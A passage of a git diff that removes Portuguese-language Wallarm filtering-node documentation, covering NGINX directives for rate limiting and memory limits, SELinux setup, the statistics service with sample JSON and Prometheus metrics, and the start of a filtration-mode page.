versão 3.6, é recomendado afinar a detecção de ataque `overlimit_res` usando a [regra **Fine-tune the overlimit_res attack detection**](../user-guides/rules/configure-overlimit-res-detection.md). - - A diretiva `wallarm_process_time_limit_block` está temporariamente suportada, mas será removida em futuras versões. - -A capacidade de gerenciar o bloqueio de solicitações, que excedem o limite de tempo definido na diretiva [`wallarm_process_time_limit`](#wallarm_process_time_limit): - -- `on`: as solicitações são sempre bloqueadas a menos que `wallarm_mode off` -- `off`: as solicitações são sempre ignoradas - - !!! warning "Risco de contornar a proteção" - O valor `off` deve ser usado com cuidado, pois este valor desabilita a proteção contra ataques `overlimit_res`. - - É recomendado usar o valor `off` apenas nas localizações estritamente específicas onde é realmente necessário, por exemplo, onde o upload de arquivos grandes é realizado e onde não há risco de contornar a proteção e explorar a vulnerabilidade. - - **É fortemente recomendado** não definir `wallarm_process_time_limit_block` para `off` globalmente para blocos http ou server. - -- `attack`: depende do modo de bloqueio de ataque definido na diretiva `wallarm_mode`: - - `off`: as solicitações não são processadas. - - `monitoring`: as solicitações são ignoradas, mas os detalhes sobre os ataques `overlimit_res` são enviados para a Wallarm Cloud e exibidos no Wallarm Console. - - `safe_blocking`: apenas solicitações originárias de endereços IP na [lista cinza](../user-guides/ip-lists/graylist.md) são bloqueadas e os detalhes sobre todos os ataques `overlimit_res` são enviados para a Wallarm Cloud e exibidos no Wallarm Console. - - `block`: as solicitações são bloqueadas. - -Independentemente do valor da diretiva, solicitações do tipo de ataque `overlimit_res` são enviadas para a Wallarm Cloud, exceto quando [`wallarm_mode off;`](#wallarm_mode). - -!!! info - Este parâmetro pode ser definido dentro dos blocos http, server e location. - - **Valor padrão**: `wallarm_process_time_limit_block attack` - -### wallarm_protondb_path - -Um caminho para o arquivo [proton.db](../about-wallarm/protecting-against-attacks.md#library-libproton) que possui as configurações globais para a filtragem de solicitações, que não dependem da estrutura da aplicação. - -!!! info - Este parâmetro pode ser definido dentro dos blocos http, server e location. - - **Valor padrão**: `/etc/wallarm/proton.db` - -### wallarm_rate_limit - -Configura a limitação de taxa no seguinte formato: - -``` -wallarm_rate_limit rate= burst= delay=; -``` - -* `KEY_TO_MEASURE_LIMITS_FOR` - uma chave que deseja medir os limites. Pode conter texto, [variáveis NGINX](http://nginx.org/en/docs/varindex.html) e sua combinação. - - Por exemplo: `"$remote_addr +location_name"` para limitar solicitações originadas do mesmo IP e direcionadas ao endpoint `/login`. -* `rate=` (obrigatório) - limite de taxa, pode ser `rate=r/s` ou `rate=r/m`. -* `burst=` (opcional) - número máximo de solicitações excessivas a serem armazenadas em buffer assim que o RPS/RPM especificado for excedido e a serem processadas assim que a taxa voltar ao normal. `0` por padrão. -* `delay=` - se o valor `` for diferente de `0`, você pode controlar se manterá o RPS/RPM definido entre a execução das solicitações excessivas em buffer. `nodelay` aponta para o processamento simultâneo de todas as solicitações excessivas em buffer, sem o atraso do limite de taxa. Valor numérico implica o processamento simultâneo do número especificado de solicitações excessivas, outras são processadas com atraso definido em RPS/RPM. - -Exemplo: - -``` -wallarm_rate_limit "$remote_addr +location_name" rate=10r/s burst=9 delay=5; -``` - -!!! info - **Valor padrão:** none. - - Este parâmetro pode ser definido dentro dos contextos http, server e location. - - Se você definir a regra de [limitação de taxa](../user-guides/rules/rate-limiting.md), a diretiva `wallarm_rate_limit` terá uma prioridade inferior. - -### wallarm_rate_limit_enabled - -Habilita/desabilita a limitação de taxa Wallarm. - -Se `off`, a [regra de limitação de taxa](../user-guides/rules/rate-limiting.md) (recomendada) e a diretiva `wallarm_rate_limit` não funcionam. - -!!! info - **Valor padrão:** `on` mas a limitação de taxa Wallarm não funciona sem a [regra de limitação de taxa](../user-guides/rules/rate-limiting.md) (recomendada) ou a diretiva `wallarm_rate_limit` configurada. - -### wallarm_rate_limit_log_level - -O nível para o registro das solicitações rejeitadas pelo controle de limitação de taxa. Pode ser: `info`, `notice`, `warn`, `error`. - -!!! info - **Valor padrão:** `error`. - - Este parâmetro pode ser definido dentro dos contextos http, server e location. - -### wallarm_rate_limit_status_code - -Código para retornar em resposta às solicitações rejeitadas pelo módulo de limitação de taxa da Wallarm. - -!!! info - **Valor padrão:** `503`. - - Este parâmetro pode ser definido dentro dos contextos http, server e location. - -### wallarm_rate_limit_shm_size - -Define a quantidade máxima de memória compartilhada que o módulo de limitação de taxa da Wallarm pode consumir. - -Com um comprimento médio de chave de 64 bytes (caracteres), e `wallarm_rate_limit_shm_size` de 64MB, o módulo pode lidar com cerca de 130.000 chaves únicas simultaneamente. Aumentando a memória por dois, dobra a capacidade do módulo de maneira linear. - -Uma chave é um valor único de um ponto de solicitação que o módulo usa para medir limites. Por exemplo, se o módulo está limitando conexões com base em endereços IP, cada endereço IP único é considerado uma única chave. Com o valor de diretiva padrão, o módulo pode processar solicitações originadas de ~130.000 IPs diferentes simultaneamente. - -!!! info - **Valor padrão:** `64m` (64 MB). - - Este parâmetro pode ser definido apenas no contexto http. - -### wallarm_request_chunk_size - -Limita o tamanho da parte da solicitação que é processada durante uma iteração. Você pode configurar um valor personalizado para a diretiva `wallarm_request_chunk_size` em bytes, atribuindo um número inteiro a ela. A diretiva também aceita os seguintes sufixos: -* `k` ou `K` para kilobytes -* `m` ou `M` para megabytes -* `g` ou `G` para gigabytes - -!!! info - Este parâmetro pode ser definido dentro dos blocos http, server e location. - **Valor padrão**: `8k` (8 kilobytes). - -### wallarm_request_memory_limit - -Define um limite para a quantidade máxima de memória que pode ser usada para o processamento de uma única solicitação. - -Se o limiar for ultrapassado, o processamento da solicitação será interrompido e o usuário receberá um erro 500. - -Os seguintes sufixos podem ser usados neste parâmetro: -* `k` ou `K` para kilobytes -* `m` ou `M` para megabytes -* `g` ou `G` para gigabytes - -Um valor de `0` desativa o limite. - -Por padrão, os limites estão desativados. - -!!! info - Este parâmetro pode ser definido dentro dos blocos http, server e/ou location. - -### wallarm_stalled_worker_timeout - -Define um limite de tempo para um único processamento de solicitação para um worker NGINX em segundos. - -Se o tempo ultrapassar o limite, os dados sobre os trabalhadores NGINX serão gravados nos parâmetros de [estatística](configure-statistics-service.md##working-with-the-statistics-service) `stalled_workers_count` e `stalled_workers`. - -!!! info - Este parâmetro pode ser definido dentro dos blocos http, server e location. - - **Valor padrão**: `5` (cinco segundos) - -### wallarm_status - -Controla a operação do [serviço de estatísticas Wallarm](configure-statistics-service.md). - -O valor da diretiva tem o seguinte formato: - -``` -wallarm_status [on|off] [format=json|prometheus]; -``` - -É altamente recomendado configurar o serviço de estatísticas em um arquivo de configuração separado `/etc/nginx/conf.d/wallarm-status.conf` e não usar a diretiva `wallarm_status` em outros arquivos que você usa ao configurar o NGINX, porque este último pode ser inseguro. - -Além disso, é fortemente recomendado não alterar nenhuma das linhas existentes da configuração `wallarm-status` padrão, pois isso pode corromper o processo de envio de dados de métrica para a nuvem Wallarm. - -!!! info - A diretiva pode ser configurada no contexto NGINX de `server` e/ou `location`. - - O parâmetro `format` tem o valor `json` por padrão. - -### wallarm_tarantool_upstream - -Com o `wallarm_tarantool_upstream`, você pode equilibrar as solicitações entre vários servidores postanalytics. - -**Exemplo:** - -```bash -upstream wallarm_tarantool { - server 127.0.0.1:3313 max_fails=0 fail_timeout=0 max_conns=1; - keepalive 1; -} - -# omitido - -wallarm_tarantool_upstream wallarm_tarantool; -``` - -Confira também [Module ngx_http_upstream_module](https://nginx.org/en/docs/http/ngx_http_upstream_module.html). - -!!! warning "Condições necessárias" - É necessário que as seguintes condições sejam satisfeitas para os parâmetros `max_conns` e `keepalive`: - - * O valor do parâmetro `keepalive` não deve ser menor que o número de servidores Tarantool. - * O valor do parâmetro `max_conns` deve ser especificado para cada um dos servidores upstream do Tarantool para evitar a criação de conexões excessivas. - -!!! info - O parâmetro é configurado apenas dentro do bloco http. - -### wallarm_timeslice - -Um limite no tempo que um nó de filtragem gasta em uma iteração de processamento de uma solicitação antes de mudar para a próxima solicitação. Ao atingir o limite de tempo, o nó de filtragem procede ao processamento da próxima solicitação na fila. Após realizar uma iteração em cada uma das solicitações na fila, o nó realiza a segunda iteração de processamento na primeira solicitação da fila. - -Você pode usar sufixos de intervalos de tempo que estão descritos na [documentação NGINX](https://nginx.org/en/docs/syntax.html) para atribuir diferentes valores de unidade de tempo à diretiva. - -!!! info - Este parâmetro pode ser definido dentro dos blocos http, server, e location. - **Valor padrão**: `0` (limite de tempo para uma única iteração está desativado). - ------ - -!!! warning - Devido às limitações do servidor NGINX, é necessário desativar a solicitação de buffering, atribuindo o valor `off` para a diretiva NGINX `proxy_request_buffering` para que a diretiva `wallarm_timeslice` funcione. - -### wallarm_ts_request_memory_limit - -!!! warning "A diretiva está obsoleta" - A partir do nó Wallarm 4.0, por favor use a diretiva [`wallarm_general_ruleset_memory_limit`](#wallarm_general_ruleset_memory_limit). Basta mudar o nome da diretiva, a lógica não mudou. - -### wallarm_unpack_response - -Se descompactar ou não os dados compactados retornados na resposta da aplicação. Os possíveis valores são `on` (a descompactação está habilitada) e `off` (a descompactação está desativada). - -Este parâmetro só é efetivo se `wallarm_parse_response on`. - -!!! info - **Valor padrão**: `on`. - -### wallarm_upstream_backend - -Um método para envio de solicitações serializadas. As solicitações podem ser enviadas para Tarantool ou para a API. - -Possíveis valores de diretiva: -* `tarantool` -* `api` - -Dependendo das outras diretivas, o valor padrão será atribuído da seguinte forma: -* `tarantool` - se não houver diretiva `wallarm_api_conf` na configuração. -* `api` - se houver uma diretiva `wallarm_api_conf`, mas não houver diretiva `wallarm_tarantool_upstream` na configuração. - - !!! note - Se as diretivas `wallarm_api_conf` e `wallarm_tarantool_upstream` estiverem presentes simultaneamente na configuração, ocorrerá um erro de configuração do formulário **diretiva ambígua do backend upstream wallarm**. - -!!! info - Este parâmetro só pode ser definido dentro do bloco http. - -### wallarm_upstream_connect_attempts - -Define o número de reconexões imediatas para o Tarantool ou Wallarm API. -Se uma conexão com o Tarantool ou API for encerrada, a tentativa de reconexão não ocorrerá. No entanto, isso não ocorre quando não há mais conexões e a fila de solicitações serializadas não está vazia. - -!!! note - A reconexão pode ocorrer por meio de outro servidor, porque o subsistema "upstream" é responsável pela escolha do servidor. - - Este parâmetro pode ser definido dentro do bloco http. - -### wallarm_upstream_reconnect_interval - -Define o intervalo entre tentativas de reconexão para o Tarantool ou Wallarm API após o número de tentativas malsucedidas exceder o limite `wallarm_upstream_connect_attempts`. - -!!! info - Este parâmetro pode ser definido dentro do bloco http. - -### wallarm_upstream_connect_timeout - -Define um tempo limite para a conexão com o Tarantool ou Wallarm API. - -!!! info - Este parâmetro pode ser definido dentro do bloco http. - -### wallarm_upstream_queue_limit - -Define um limite para o número de solicitações serializadas. -Definir simultaneamente o parâmetro `wallarm_upstream_queue_limit` e não definir o parâmetro `wallarm_upstream_queue_memory_limit` significa que não haverá limite para este último. - -!!! info - Este parâmetro pode ser definido dentro do bloco http. - -### wallarm_upstream_queue_memory_limit - -Define um limite para o volume total de solicitações serializadas. -Definir simultaneamente o parâmetro `wallarm_upstream_queue_memory_limit` e não definir o parâmetro `wallarm_upstream_queue_limit` significa que não haverá limite para este último. - -!!! info - **Valor padrão:** `100m`. - - Este parâmetro pode ser definido dentro do bloco http. \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configure-selinux.md b/docs/latest-pt-BR/admin-en/configure-selinux.md deleted file mode 100644 index 28930d4d95..0000000000 --- a/docs/latest-pt-BR/admin-en/configure-selinux.md +++ /dev/null @@ -1,48 +0,0 @@ -[link-selinux]: https://www.redhat.com/en/topics/linux/what-is-selinux - -# Configurando o SELinux - -Se o mecanismo [SELinux][link-selinux] estiver ativado em um host com um nó de filtro, ele pode interferir no nó de filtro, tornando-o inoperante: -* Os valores de RPS (solicitações por segundo) e APS (ataques por segundo) do nó de filtro não serão exportados para a nuvem Wallarm. - - -O SELinux é instalado e ativado por padrão em distribuições Linux baseadas em RedHat (por exemplo, CentOS ou Amazon Linux 2.0.2021x e inferior). O SELinux também pode ser instalado em outras distribuições Linux, como Debian ou Ubuntu. - -É obrigatório desativar o SELinux ou configurá-lo para que não interrompa a operação do nó de filtro. - -## Verifique o status do SELinux - -Execute o seguinte comando: - -``` bash -sestatus -``` - -Examine a saída: -* `SELinux status: enabled` -* `SELinux status: disabled` - -## Configurar SELinux - -Permita que a utilidade `collectd` use um soquete TCP para tornar o nó de filtro operacional com o SELinux ativado. Para fazer isso, execute o seguinte comando: - -``` bash -setsebool -P collectd_tcp_network_connect 1 -``` - -Verifique se o comando acima foi executado com êxito executando o seguinte comando: - -``` bash -semanage export | grep collectd_tcp_network_connect -``` - -A saída deve conter esta string: -``` -boolean -m -1 collectd_tcp_network_connect -``` - -## Desative o SELinux - -Para definir o SELinux em um estado desativado -* execute o comando `setenforce 0` (o SELinux será desativado até a próxima reinicialização) ou -* defina o valor da variável `SELINUX` como `disabled` no arquivo `/etc/selinux/config`, em seguida, reinicie (o SELinux será desativado permanentemente). \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configure-statistics-service.md b/docs/latest-pt-BR/admin-en/configure-statistics-service.md deleted file mode 100644 index 40e84cef04..0000000000 --- a/docs/latest-pt-BR/admin-en/configure-statistics-service.md +++ /dev/null @@ -1,296 +0,0 @@ -[doc-configure-kubernetes]: configure-kubernetes-en.md -[link-prometheus]: https://prometheus.io/ -[gl-lom]: ../glossary-en.md#custom-ruleset-the-former-term-is-lom - -# Configuração do Serviço de Estatísticas - -Para obter estatísticas sobre o nó do filtro, use a diretiva `wallarm_status`, que é escrita no arquivo de configuração NGINX. - -## Configurando o Serviço de Estatísticas - -!!! warning "Importante" - - É altamente recomendado configurar o serviço de estatísticas no arquivo de configuração separado `/etc/nginx/conf.d/wallarm-status.conf` e não usar a diretiva `wallarm_status` em outros arquivos que você usa ao configurar o NGINX, porque este último pode ser inseguro. - - Além disso, é fortemente aconselhado não alterar nenhuma das linhas existentes da configuração padrão `wallarm-status`, pois isso pode corromper o processo de envio de dados métricos para a nuvem Wallarm. - -Ao usar a diretiva, as estatísticas podem ser fornecidas no formato JSON ou em um formato compatível com o [Prometheus][link-prometheus]. Uso: - -``` -wallarm_status [on|off] [format=json|prometheus]; -``` - -!!! info - A diretiva pode ser configurada no contexto de `server` e/ou `location`. - - O parâmetro `format` tem o valor `json` por padrão. - -### Configuração padrão - -Por padrão, o serviço de estatísticas do nó de filtro tem a configuração mais segura. O arquivo de configuração `/etc/nginx/conf.d/wallarm-status.conf` se parece com o seguinte: - -``` -server { - listen 127.0.0.8:80; - server_name localhost; - - allow 127.0.0.0/8; # O acesso está disponível apenas para endereços de retorno do servidor do nó de filtro - deny all; - - wallarm_mode off; - disable_acl "on"; # A verificação de fontes de solicitação está desativada, os IPs da lista de negação têm permissão para solicitar o serviço wallarm-status. https://docs.wallarm.com/admin-en/configure-parameters-en/#disable_acl - access_log off; - - location /wallarm-status { - wallarm_status on; - } -} -``` - -### Limitando endereços IP permitidos para solicitar estatísticas - -Ao configurar a diretiva `wallarm_status`, você pode especificar os endereços IP a partir dos quais pode solicitar estatísticas. Por padrão, o acesso é negado de qualquer lugar, exceto para os endereços IP `127.0.0.1` e `::1`, que permitem executar a solicitação apenas no servidor onde o Wallarm está instalado. - -Para permitir solicitações de outro servidor, adicione a instrução `allow` com o endereço IP do servidor desejado na configuração. Por exemplo: - -```diff -... -server_name localhost; - -allow 127.0.0.0/8; -+ allow 10.41.29.0; -... -``` - -Depois que as configurações forem alteradas, reinicie o NGINX para aplicar as alterações: - ---8<-- "../include-pt-BR/waf/restart-nginx-4.4-and-above.md" - -### Alterando um endereço IP do serviço de estatísticas - -Para alterar um endereço IP do serviço de estatísticas: - -1. Especifique um novo endereço na diretiva `listen` do arquivo `/etc/nginx/conf.d/wallarm-status.conf`. -1. Adicione o parâmetro `status_endpoint` com o novo valor de endereço ao arquivo `/etc/wallarm/node.yaml`, por exemplo: - - ```bash - hostname: example-node-name - uuid: ea1xa0xe-xxxx-42a0-xxxx-b1b446xxxxxx - ... - status_endpoint: 'http://127.0.0.2:8082/wallarm-status' - ``` -1. Adicione ou altere a diretiva `allow` para permitir o acesso de endereços que não sejam endereços de loopback (o arquivo de configuração padrão permite acesso apenas para endereços de loopback). -1. Reinicie o NGINX para aplicar as alterações: - - --8<-- "../include-pt-BR/waf/restart-nginx-4.4-and-above.md" - -### Obtendo estatísticas no formato Prometheus - -Por padrão, as estatísticas são retornadas apenas no formato JSON. Para obter as estatísticas no formato Prometheus: - -1. Adicione a seguinte configuração ao arquivo `/etc/nginx/conf.d/wallarm-status.conf`: - - - ```diff - ... - - location /wallarm-status { - wallarm_status on; - } - - + location /wallarm-status-prometheus { - + wallarm_status on format=prometheus; - + } - - ... - ``` - - !!! warning "Não exclua ou altere a configuração padrão `/wallarm-status`" - Por favor, não exclua ou altere a configuração padrão do local `/wallarm-status`. A operação padrão deste endpoint é crucial para enviar dados corretos para a Nuvem Wallarm. -1. Reinicie o NGINX para aplicar as alterações: - - --8<-- "../include-pt-BR/waf/restart-nginx-4.4-and-above.md" -1. Chame o novo endpoint para obter as métricas do Prometheus: - - ```bash - curl http://127.0.0.8/wallarm-status-prometheus - ``` - -## Trabalhando com o Serviço de Estatísticas - -Para obter as estatísticas do nó do filtro, faça uma solicitação a partir de um dos endereços IP permitidos (veja acima): - -=== "Estatísticas no formato JSON" - ``` - curl http://127.0.0.8/wallarm-status - ``` - - Como resultado, você receberá uma resposta do tipo: - - ``` - { "requests":0,"attacks":0,"blocked":0,"blocked_by_acl":0,"acl_allow_list":0,"abnormal":0, - "tnt_errors":0,"api_errors":0,"requests_lost":0,"overlimits_time":0,"segfaults":0,"memfaults":0, - "softmemfaults":0,"proton_errors":0,"time_detect":0,"db_id":73,"lom_id":102,"custom_ruleset_id":102, - "custom_ruleset_ver":51,"db_apply_time":1598525865,"lom_apply_time":1598525870, - "custom_ruleset_apply_time":1598525870,"proton_instances": { "total":3,"success":3,"fallback":0, - "failed":0 },"stalled_workers_count":0,"stalled_workers":[],"ts_files":[{"id":102,"size":12624136, - "mod_time":1598525870,"fname":"\/etc\/wallarm\/custom_ruleset"}],"db_files":[{"id":73,"size":139094, - "mod_time":1598525865,"fname":"\/etc\/wallarm\/proton.db"}],"startid":1459972331756458216, - "timestamp":1664530105.868875,"rate_limit":{"shm_zone_size":67108864,"buckets_count":4,"entries":1, - "delayed":0,"exceeded":1,"expired":0,"removed":0,"no_free_nodes":0},"split":{"clients":[ - {"client_id":null,"requests": 78,"attacks": 0,"blocked": 0,"blocked_by_acl": 0,"overlimits_time": 0, - "time_detect": 0,"applications":[{"app_id":4,"requests": 78,"attacks": 0,"blocked": 0, - "blocked_by_acl": 0,"overlimits_time": 0,"time_detect": 0}]}]} } - ``` -=== "Estatísticas no formato Prometheus" - ``` - curl http://127.0.0.8/wallarm-status-prometheus - ``` - - O endereço pode ser diferente, consulte o arquivo `/etc/nginx/conf.d/wallarm-status.conf` para o endereço atual. - - Como resultado, você receberá uma resposta do tipo: - - - ``` - # HELP wallarm_requests requests count - # TYPE wallarm_requests gauge - wallarm_requests 2 - # HELP wallarm_attacks attack requests count - # TYPE wallarm_attacks gauge - wallarm_attacks 0 - # HELP wallarm_blocked blocked requests count - # TYPE wallarm_blocked gauge - wallarm_blocked 0 - # HELP wallarm_blocked_by_acl blocked by acl requests count - # TYPE wallarm_blocked_by_acl gauge - wallarm_blocked_by_acl 0 - # HELP wallarm_acl_allow_list requests passed by allow list - # TYPE wallarm_acl_allow_list gauge - wallarm_acl_allow_list 0 - # HELP wallarm_abnormal abnormal requests count - # TYPE wallarm_abnormal gauge - wallarm_abnormal 2 - # HELP wallarm_tnt_errors tarantool write errors count - # TYPE wallarm_tnt_errors gauge - wallarm_tnt_errors 0 - # HELP wallarm_api_errors API write errors count - # TYPE wallarm_api_errors gauge - wallarm_api_errors 0 - # HELP wallarm_requests_lost lost requests count - # TYPE wallarm_requests_lost gauge - wallarm_requests_lost 0 - # HELP wallarm_overlimits_time overlimits_time count - # TYPE wallarm_overlimits_time gauge - wallarm_overlimits_time 0 - # HELP wallarm_segfaults segmentation faults count - # TYPE wallarm_segfaults gauge - wallarm_segfaults 0 - # HELP wallarm_memfaults vmem limit reached events count - # TYPE wallarm_memfaults gauge - wallarm_memfaults 0 - # HELP wallarm_softmemfaults request memory limit reached events count - # TYPE wallarm_softmemfaults gauge - wallarm_softmemfaults 0 - # HELP wallarm_proton_errors libproton non-memory related libproton faults events count - # TYPE wallarm_proton_errors gauge - wallarm_proton_errors 0 - # HELP wallarm_time_detect_seconds time spent for detection - # TYPE wallarm_time_detect_seconds gauge - wallarm_time_detect_seconds 0 - # HELP wallarm_db_id proton.db file id - # TYPE wallarm_db_id gauge - wallarm_db_id 71 - # HELP wallarm_lom_id LOM file id - # TYPE wallarm_lom_id gauge - wallarm_lom_id 386 - # HELP wallarm_custom_ruleset_id Custom Ruleset file id - # TYPE wallarm_custom_ruleset_id gauge - wallarm_custom_ruleset_id{format="51"} 386 - # HELP wallarm_custom_ruleset_ver custom ruleset file format version - # TYPE wallarm_custom_ruleset_ver gauge - wallarm_custom_ruleset_ver 51 - # HELP wallarm_db_apply_time proton.db file apply time id - # TYPE wallarm_db_apply_time gauge - wallarm_db_apply_time 1674548649 - # HELP wallarm_lom_apply_time LOM file apply time - # TYPE wallarm_lom_apply_time gauge - wallarm_lom_apply_time 1674153198 - # HELP wallarm_custom_ruleset_apply_time Custom Ruleset file apply time - # TYPE wallarm_custom_ruleset_apply_time gauge - wallarm_custom_ruleset_apply_time 1674153198 - # HELP wallarm_proton_instances proton instances count - # TYPE wallarm_proton_instances gauge - wallarm_proton_instances{status="success"} 5 - wallarm_proton_instances{status="fallback"} 0 - wallarm_proton_instances{status="failed"} 0 - # HELP wallarm_stalled_worker_time_seconds time a worker stalled in libproton - # TYPE wallarm_stalled_worker_time_seconds gauge - wallarm_stalled_worker_time_seconds{pid="3169104"} 25 - - # HELP wallarm_startid unique start id - # TYPE wallarm_startid gauge - wallarm_startid 3226376659815907920 - ``` - -Os seguintes parâmetros de resposta estão disponíveis (as métricas do Prometheus têm o prefixo `wallarm_`): - -* `requests`: o número de solicitações que foram processadas pelo nó do filtro. -* `attacks`: o número de ataques registrados. -* `blocked`: o número de solicitações bloqueadas, incluindo aquelas originadas de IPs [da lista de negação](../user-guides/ip-lists/denylist.md). -* `blocked_by_acl`: o número de solicitações bloqueadas devido às fontes de solicitação [da lista de negação](../user-guides/ip-lists/denylist.md). -* `acl_allow_list`: o número de solicitações originadas por fontes de solicitação [da lista de permissões](../user-guides/ip-lists/allowlist.md). -* `abnormal`: o número de solicitações que o aplicativo considera anormais. -* `tnt_errors`: o número de solicitações não analisadas por um módulo de pós-análise. Para essas solicitações, os motivos do bloqueio são registrados, mas as próprias solicitações não são contabilizadas nas estatísticas e verificações de comportamento. -* `api_errors`: o número de solicitações que não foram enviadas para a API para análise posterior. Para essas solicitações foram aplicados parâmetros de bloqueio (ou seja, solicitações maliciosas foram bloqueadas se o sistema estiver operando em modo de bloqueio); no entanto, os dados sobre esses eventos não são visíveis no UI. Este parâmetro é usado apenas quando o Nó Wallarm trabalha com um módulo pós-análise local. -* `requests_lost`: o número de solicitações que não foram analisadas em um módulo de pós-análise e transferido para a API. Para essas solicitações foram aplicados parâmetros de bloqueio (ou seja, solicitações maliciosas foram bloqueadas se o sistema estiver operando em modo de bloqueio); no entanto, os dados sobre esses eventos não são visíveis no UI. Este parâmetro é usado apenas quando o Nó Wallarm trabalha com um módulo pós-análise local. -* `overlimits_time`: o número de ataques do tipo [Excesso de limitação de recursos computacionais](../attacks-vulns-list.md#overlimiting-of-computational-resources) detectados pelo nó de filtragem. -* `segfaults`: o número de problemas que levaram ao término de emergência do processo de trabalho. -* `memfaults`: o número de problemas em que os limites de memória virtual foram alcançados. -* `softmemfaults`: o número de problemas em que o limite de memória virtual para proton.db +lom foi excedido ([`wallarm_general_ruleset_memory_limit`](configure-parameters-en.md#wallarm_general_ruleset_memory_limit)). -* `proton_errors`: o número de erros de proton.db, exceto aqueles ocorridos devido a situações em que o limite de memória virtual foi excedido. -* `time_detect`: o tempo total de análise de solicitações. -* `db_id`: versão proton.db. -* `lom_id`: será descontinuado em breve, use `custom_ruleset_id`. -* `custom_ruleset_id`: versão da compilação do [conjunto de regras personalizadas][gl-lom]. - - A partir do lançamento 4.8, aparece como `wallarm_custom_ruleset_id{format="51"} 386` no formato Prometheus, com `custom_ruleset_ver` dentro do atributo `format` e o valor principal sendo a versão da compilação do conjunto de regras. -* `custom_ruleset_ver` (disponível a partir do lançamento Wallarm 4.4.3): o formato do [conjunto de regras personalizadas][gl-lom]: - - * `4x` - para nós Wallarm 2.x que estão [desatualizados](../updating-migrating/versioning-policy.md#version-list). - * `5x` - para nós Wallarm 4.x e 3.x (o último está [desatualizado](../updating-migrating/versioning-policy.md#version-list)). -* `db_apply_time`: hora Unix da última atualização do arquivo proton.db. -* `lom_apply_time`: será descontinuado em breve, use `custom_ruleset_apply_time`. -* `custom_ruleset_apply_time`: hora Unix da última atualização do arquivo do [conjunto de regras personalizadas](../glossary-en.md#custom-ruleset-the-former-term-is-lom). -* `proton_instances`: informações sobre pares de proton.db + LOM: - * `total`: o número de pares de proton.db + LOM. - * `success`: o número de pares de proton.db + LOM carregados com sucesso. - * `fallback`: o número de pares de proton.db + LOM carregados a partir dos últimos arquivos salvos. - * `failed`: o número de pares de proton.db + LOM que não foram inicializados e executados no modo “não analisar”. -* `stalled_workers_count`: a quantidade de trabalhadores que excederam o limite de tempo para o processamento de solicitações (o limite é definido na diretiva [`wallarm_stalled_worker_timeout`](configure-parameters-en.md#wallarm_stalled_worker_timeout)). -* `stalled_workers`: a lista dos trabalhadores que excederam o limite de tempo para o processamento de solicitações (o limite é definido na diretiva [`wallarm_stalled_worker_timeout`](configure-parameters-en.md#wallarm_stalled_worker_timeout)) e a quantidade de tempo gasto no processamento de solicitações. -* `ts_files`: informações sobre o arquivo [LOM](../glossary-en.md#custom-ruleset-the-former-term-is-lom): - * `id`: versão do LOM usado. - * `size`: tamanho do arquivo LOM em bytes. - * `mod_time`: hora Unix da última atualização do arquivo LOM. - * `fname`: caminho para o arquivo LOM. -* `db_files`: informações sobre o arquivo proton.db: - * `id`: versão do proton.db usado. - * `size`: tamanho do arquivo proton.db em bytes. - * `mod_time`: hora Unix da última atualização do arquivo proton.db. - * `fname`: caminho para o arquivo proton.db. -* `startid`: ID único do nó de filtragem gerado aleatoriamente. -* `timestamp`: hora em que a última solicitação de entrada foi processada pelo nó (no formato [Unix Timestamp]( https://www.unixtimestamp.com/)). -* `rate_limit`: informações sobre o módulo de [limitação de taxa](../user-guides/rules/rate-limiting.md) Wallarm: - * `shm_zone_size`: quantidade total de memória compartilhada que o módulo de limitação de taxa Wallarm pode consumir em bytes (o valor é baseado na diretiva [`wallarm_rate_limit_shm_size`](configure-parameters-en.md#wallarm_rate_limit_shm_size), o padrão é `67108864`). - * `buckets_count`: o número de baldes (geralmente igual à contagem de trabalhadores NGINX, 8 é o máximo). - * `entries`: o número de valores de pontos de solicitação únicos (também conhecidos como chaves) que você mede os limites. - * `delayed`: o número de solicitações que foram armazenadas em buffer pelo módulo de limitação de taxa devido à configuração `burst`. - * `exceeded`: o número de solicitações que foram rejeitadas pelo módulo de limitação de taxa porque excederam o limite. - * `expired`: o número total de chaves que são removidas do balde em uma base regular de 60 segundos se o limite de taxa para essas chaves não foi excedido. - * `removed`: o número de chaves removidas abruptamente do emblema. Se o valor for maior que `expired`, aumente o valor de [`wallarm_rate_limit_shm_size`](configure-parameters-en.md#wallarm_rate_limit_shm_size). - * `no_free_nodes`: o valor diferente de `0` indica que há memória insuficiente alocada para o módulo de limite de taxa, o aumento do valor [`wallarm_rate_limit_shm_size`](configure-parameters-en.md#wallarm_rate_limit_shm_size) é recomendado. -* `split.clients`: principais estatísticas em cada [inquilino](../installation/multi-tenant/overview.md). Se o recurso de multilocação não estiver ativado, a estatística é retornada para o único inquilino (sua conta) com o valor estático `"client_id":null`. -* `split.clients.applications`: principais estatísticas em cada [aplicativo](../user-guides/settings/applications.md). Parâmetros que não estão incluídos nesta seção retornam a estatística em todos os aplicativos. - -Os dados de todos os contadores são acumulados a partir do momento em que o NGINX é iniciado. Se o Wallarm foi instalado em uma infraestrutura pronta com o NGINX, o servidor NGINX deve ser reiniciado para iniciar a coleta de estatísticas. \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configure-wallarm-mode.md b/docs/latest-pt-BR/admin-en/configure-wallarm-mode.md deleted file mode 100644 index 465ebaab77..0000000000 --- a/docs/latest-pt-BR/admin-en/configure-wallarm-mode.md +++ /dev/null @@ -1,255 +0,0 @@ -[acl-access-phase]: ../admin-en/configure-parameters-en.md#wallarm_acl_access_phase - -# Configuração do modo de filtração - -O modo de filtração define o comportamento do nó de filtragem ao processar solicitações recebidas. Estas instruções descrevem os modos de filtração disponíveis e seus métodos de configuração. - -## Modos de filtração disponíveis - -O nó de filtragem Wallarm pode processar solicitações recebidas nos seguintes modos (do mais brando ao mais restrito): - -* **Desativado** (`off`) -* **Monitoramento** (`monitoring`) -* **Bloqueio seguro** (`safe_blocking`) -* **Bloqueio** (`block`) - ---8<-- "../include-pt-BR/wallarm-modes-description-latest.md" - -## Métodos de configuração do modo de filtração - -O modo de filtração pode ser configurado das seguintes maneiras: - -* Atribua um valor à diretiva `wallarm_mode` no arquivo de configuração do nó de filtragem - - !!! warning "Suporte da diretiva `wallarm_mode` no nó CDN" - Por favor, note que a diretiva `wallarm_mode` não pode ser configurada nos [nós CDN do Wallarm](../installation/cdn-node.md). Para configurar o modo de filtração dos nós CDN, por favor utilize outros métodos disponíveis. -* Defina a regra de filtração geral no Console Wallarm -* Crie uma regra de modo de filtração na seção 